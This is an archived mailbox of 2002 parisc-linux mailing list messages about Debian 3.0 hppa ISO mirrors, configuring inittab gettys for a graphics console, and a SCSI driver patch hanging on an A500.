X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mattias Wadenstein <maswan@acc.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian 3.0 announcement for the website?
Date: Fri, 26 Jul 2002 13:18:25 +0200 (MET_DST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.A41.4.44.0207261317430.62320-100000@stalin.acc.umu.se>
References: <20020726133826.R30681@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621571 11769 80.91.229.3 (22 Nov 2014 01:59:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:31 +0000 (UTC)
Cc: Linux/HPPA List <parisc-linux@parisc-linux.org>
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 26 05:18:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from khan.acc.umu.se (khan.acc.umu.se [130.239.18.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CEF1482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Jul 2002 05:18:45 -0600 (MDT)
Original-Received: from stalin.acc.umu.se (maswan@stalin.acc.umu.se [130.239.18.135])
	by khan.acc.umu.se (8.11.6/8.11.6) with ESMTP id g6QBIPc18688;
	Fri, 26 Jul 2002 13:18:26 +0200 (MEST)
In-Reply-To: <20020726133826.R30681@neep.com.au>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15660

On Fri, 26 Jul 2002, Andrew Shugg wrote:

> Also regarding the website - well, Debian 3.0 has been released.  Is
> that worthy of an announcement?  I haven't seen any Debian CD mirrors
> with hppa ISOs, but can Debian 3.0/hppa CDs be built with jigdo?

http://rsync.debcd.acc.umu.se has hppa ISOs, just like all other
architectures. (So does ftp.se.debian.org, but that machine doesn't really
need the extra load right now.)

/Mattias Wadenstein



From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Debian 3.0 announcement for the website?
Date: Fri, 26 Jul 2002 13:25:46 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <03273D4BC7F4D511AC440008C7E6F8815423C5@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416621571 11771 80.91.229.3 (22 Nov 2014 01:59:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:31 +0000 (UTC)
Cc: Linux/HPPA List <parisc-linux@parisc-linux.org>
To: "'Mattias Wadenstein'" <maswan@acc.umu.se>,
	Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 26 05:26:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.alcatel.be (alc250.alcatel.be [195.207.101.250])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7CC7482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Jul 2002 05:26:36 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (relay3 [127.0.0.1])
	by mail.alcatel.be (8.11.0/8.11.4) with ESMTP id g6QBLaw31736;
	Fri, 26 Jul 2002 13:21:36 +0200
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2653.19)
	id <3D878ZXK>; Fri, 26 Jul 2002 13:25:57 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15661

I just found one:  http://ftp.de.debian.org/debian-cd/3.0_r0/hppa/

It is one of the few sites that have not only the latest release, but also
fopr most architectures.
Please don't slashdot it, i would like to download as soon as i am home...
;-)

Hans

> -----Original Message-----
> From:	Mattias Wadenstein [SMTP:maswan@acc.umu.se]
> Sent:	Friday, July 26, 2002 1:18 PM
> To:	Andrew Shugg
> Cc:	Linux/HPPA List
> Subject:	Re: [parisc-linux] Debian 3.0 announcement for the website?
> 
> On Fri, 26 Jul 2002, Andrew Shugg wrote:
> 
> > Also regarding the website - well, Debian 3.0 has been released.  Is
> > that worthy of an announcement?  I haven't seen any Debian CD mirrors
> > with hppa ISOs, but can Debian 3.0/hppa CDs be built with jigdo?
> 
> http://rsync.debcd.acc.umu.se has hppa ISOs, just like all other
> architectures. (So does ftp.se.debian.org, but that machine doesn't really
> need the extra load right now.)
> 
> /Mattias Wadenstein
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mattias Wadenstein <maswan@acc.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Debian 3.0 announcement for the website?
Date: Fri, 26 Jul 2002 13:30:43 +0200 (MET_DST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.A41.4.44.0207261330090.62320-100000@stalin.acc.umu.se>
References: <03273D4BC7F4D511AC440008C7E6F8815423C5@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621572 11775 80.91.229.3 (22 Nov 2014 01:59:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:32 +0000 (UTC)
Cc: Andrew Shugg <andrew@neep.com.au>,
	Linux/HPPA List <parisc-linux@parisc-linux.org>
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 26 05:31:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from khan.acc.umu.se (khan.acc.umu.se [130.239.18.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEE74482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Jul 2002 05:30:59 -0600 (MDT)
Original-Received: from stalin.acc.umu.se (maswan@stalin.acc.umu.se [130.239.18.135])
	by khan.acc.umu.se (8.11.6/8.11.6) with ESMTP id g6QBUhc19186;
	Fri, 26 Jul 2002 13:30:43 +0200 (MEST)
In-Reply-To: <03273D4BC7F4D511AC440008C7E6F8815423C5@nlntmail2b.ats.nld.alcatel.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15662

On Fri, 26 Jul 2002, Witvliet, Hans wrote:

> I just found one:  http://ftp.de.debian.org/debian-cd/3.0_r0/hppa/
>
> It is one of the few sites that have not only the latest release, but also
> fopr most architectures.
> Please don't slashdot it, i would like to download as soon as i am home...
> ;-)

Well, feel free to slashdot http://rsync-debcd.acc.umu.se, it can take the
load. :)

/Mattias Wadenstein



From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "robert klough" <bobklough@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] graphics console only displays the penguin
Date: Fri, 26 Jul 2002 14:44:36 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <F7044EomUPAmj10OcX80000c0e0@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416621572 11776 80.91.229.3 (22 Nov 2014 01:59:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 26 08:44:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f70.law4.hotmail.com [216.33.149.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 953A7482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Jul 2002 08:44:40 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 26 Jul 2002 07:44:36 -0700
Original-Received: from 170.223.142.192 by lw4fd.law4.hotmail.msn.com with HTTP;
	Fri, 26 Jul 2002 14:44:36 GMT
X-Originating-IP: [170.223.142.192]
X-OriginalArrivalTime: 26 Jul 2002 14:44:36.0434 (UTC) FILETIME=[F6821B20:01C234B2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15663

Hi,

I've tried installing the latest iso available online (the entire 400MB 
one), 9.3 I think, through serial console. It worked very well, but now I 
would like to pass it now on a monitor. But all what I get when I boot is 
the penguin logo on the top left corner and a blinking cursor. However I see 
no displayed text at all (the serial console is still available)

I've been advised to uncomment the line containing ttyS0 in the 
/etc/inittab, but this line is already uncommented (without the #).

How can I have both serial and graphics consoles? If anyone could help me, 
or send me their inittab it would be great

thanks in advance




_________________________________________________________________
Chat with friends online, try MSN Messenger: http://messenger.msn.com



From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] graphics console only displays the penguin
Date: Fri, 26 Jul 2002 18:24:36 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <3D4193E4.3060609@freebel.net>
References: <F7044EomUPAmj10OcX80000c0e0@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621572 11777 80.91.229.3 (22 Nov 2014 01:59:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: robert klough <bobklough@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 26 11:21:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FABC482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Jul 2002 11:21:53 -0600 (MDT)
Original-Received: from [62.235.238.9] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 17Y8ml-0006nh-00; Fri, 26 Jul 2002 19:21:51 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15664

Hey,



robert klough wrote:
> Hi,
> 
> I've tried installing the latest iso available online (the entire 400MB 
> one), 9.3 I think, through serial console. It worked very well, but now 
> I would like to pass it now on a monitor. But all what I get when I boot 
> is the penguin logo on the top left corner and a blinking cursor. 
> However I see no displayed text at all (the serial console is still 
> available)
What kind of system is it?

Why do not you try netinstall CD available:
http://pateam.esiee.fr/cd-images/testing/

(it is small about 70Mb)

Or the last Debian Woody 3.0 just release (see www.debian.org where to 
download) (but bigger size)

Normaly I test netinstall CD (with a more recent kernel) and it boot 
well with on the graphical screen of my b180. (I hope to test the new 
Debian next week).

> 
> I've been advised to uncomment the line containing ttyS0 in the 
> /etc/inittab, but this line is already uncommented (without the #).
> 

I will see on my station how I setup my inittab.

See you and Good luck,
	Joel





From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] graphics console only displays the penguin
Date: Fri, 26 Jul 2002 10:49:31 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207261045180.2211-100000@garibaldi.apptechsys.com>
References: <F7044EomUPAmj10OcX80000c0e0@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621573 11785 80.91.229.3 (22 Nov 2014 01:59:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: robert klough <bobklough@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 26 11:49:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEA19482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Jul 2002 11:49:33 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 806ED7BC45; Fri, 26 Jul 2002 10:49:31 -0700 (PDT)
In-Reply-To: <F7044EomUPAmj10OcX80000c0e0@hotmail.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15665

On Fri, 26 Jul 2002, robert klough wrote:

> Hi,
> 
> I've tried installing the latest iso available online (the entire 400MB 
> one), 9.3 I think, through serial console. It worked very well, but now I 
> would like to pass it now on a monitor. But all what I get when I boot is 
> the penguin logo on the top left corner and a blinking cursor. However I see 
> no displayed text at all (the serial console is still available)
> 
> I've been advised to uncomment the line containing ttyS0 in the 
> /etc/inittab, but this line is already uncommented (without the #).
Uncomment (or add) a line for tty0 instead.  If you want to see the linux
boot stuff on the monitor, you need to set the console in palo (not sure
the exact syntax for that).  

My inittab contains these relevant lines (I have all 6 vt's on the 
monitor)

1:2345:respawn:/sbin/getty 38400 tty1
2:23:respawn:/sbin/getty 38400 tty2
3:23:respawn:/sbin/getty 38400 tty3
4:23:respawn:/sbin/getty 38400 tty4
5:23:respawn:/sbin/getty 38400 tty5
6:23:respawn:/sbin/getty 38400 tty6

T0:23:respawn:/sbin/getty -L ttyS0 9600 vt102


-- 
If Karl, instead of writing a lot about Capital, had made a lot of Capital,
it would have been much better.
		-- Karl Marx's Mother



From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] graphics console only displays the penguin
Date: Fri, 26 Jul 2002 14:46:28 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20020726204628.3FDC0482B@dsl2.external.hp.com>
References: <F7044EomUPAmj10OcX80000c0e0@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621573 11789 80.91.229.3 (22 Nov 2014 01:59:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "robert klough" <bobklough@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 26 14:46:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3FDC0482B; Fri, 26 Jul 2002 14:46:28 -0600 (MDT)
In-Reply-To: Message from "robert klough" <bobklough@hotmail.com> 
   of "Fri, 26 Jul 2002 14:44:36 -0000." <F7044EomUPAmj10OcX80000c0e0@hotmail.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15666

"robert klough" wrote:
> I've been advised to uncomment the line containing ttyS0 in the 
> /etc/inittab, but this line is already uncommented (without the #).

As already noted, use /dev/tty0. ttyS0 is serial port login.

> How can I have both serial and graphics consoles?

No. I define console as where the *firmware* sends output
when booting. Linux attempts to respect the firmware settings.

You can have a serial console and a gfx login prompt.
And vice versa. It's a matter of setting CONSOLE paths
at the PDC prompt and setting up gettys' in /etc/inittab.

grant


From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] get_initiator for sym53c8xx_2
Date: Fri, 26 Jul 2002 15:46:55 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20020726214655.908A8482B@dsl2.external.hp.com>
References: <20020725065400.871B5482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621573 11795 80.91.229.3 (22 Nov 2014 01:59:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 26 15:46:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 908A8482B; Fri, 26 Jul 2002 15:46:55 -0600 (MDT)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Thu, 25 Jul 2002 00:54:00 MDT." <20020725065400.871B5482B@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15667

Grant Grundler wrote:
> Hi all,
> I've hacked up a patch to sym53c8xx_2 driver to query PDC
> for SCSI ID and other operating parameters:
> 
> 	ftp://ftp.parisc-linux.org/patches/sym2_pdc.diff

I've reworked this patch and commited the code...only to find that
while sym53c8xx_2 works on C3000, it hangs on my A500 after finding
the interface cards but before any disks are discovered:
CPU 0   GR02 0x1010bbc8 do_irq+f8
CPU 0   IOAQ 0x102245f0 sym53c8xx_intr+140

I'll be looking at this over the weekend.

grant


From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC Linux machines?
Date: Sat, 27 Jul 2002 10:53:22 +0200
Organization: Power Penguin Club
Lines: 27
Approved: news@gmane.org
Message-ID: <3D425F82.4CB144AF@ruhr-west.de>
References: <20020721150611.GA16503@maddentechnologies.com> <3D3AE9AE.189C701E@ruhr-west.de> <20020726132900.L897@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621574 11802 80.91.229.3 (22 Nov 2014 01:59:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 27 03:08:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 732E24829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Jul 2002 03:08:00 -0600 (MDT)
Original-Received: from fwd08.sul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 17YNYE-0007LG-03; Sat, 27 Jul 2002 11:07:50 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.18.65]) by fmrl08.sul.t-online.com
	with esmtp id 17YNY4-2I7oEiC; Sat, 27 Jul 2002 11:07:40 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6R8roZ23608;
	Sat, 27 Jul 2002 10:53:50 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 23604-0ECE1077;
	Sat, 27 Jul 2002 10:53:22 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15668

Andrew Shugg schrieb:

> [...]
> 
> 
> Thanks Juergen, I wasn't aware of this site's existence.  I don't think
> there's a link to it on the parisc-linux.org web site; is this something
> we could do?  Under the "User Resources" section of the sidebar would be
> a suitable place, I imagine.
> 
> Andrew.
> 
Andrew, you get there, but it's a bit hidden:

Select "technical documentation" from the main pa-risc page, other
useful links, you see "Other OS's for pa-risc" listed under "Utilitoes &
Source code". That link takes you there.
But I agree, a direct link from the main page would be more informative.

Juergen

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
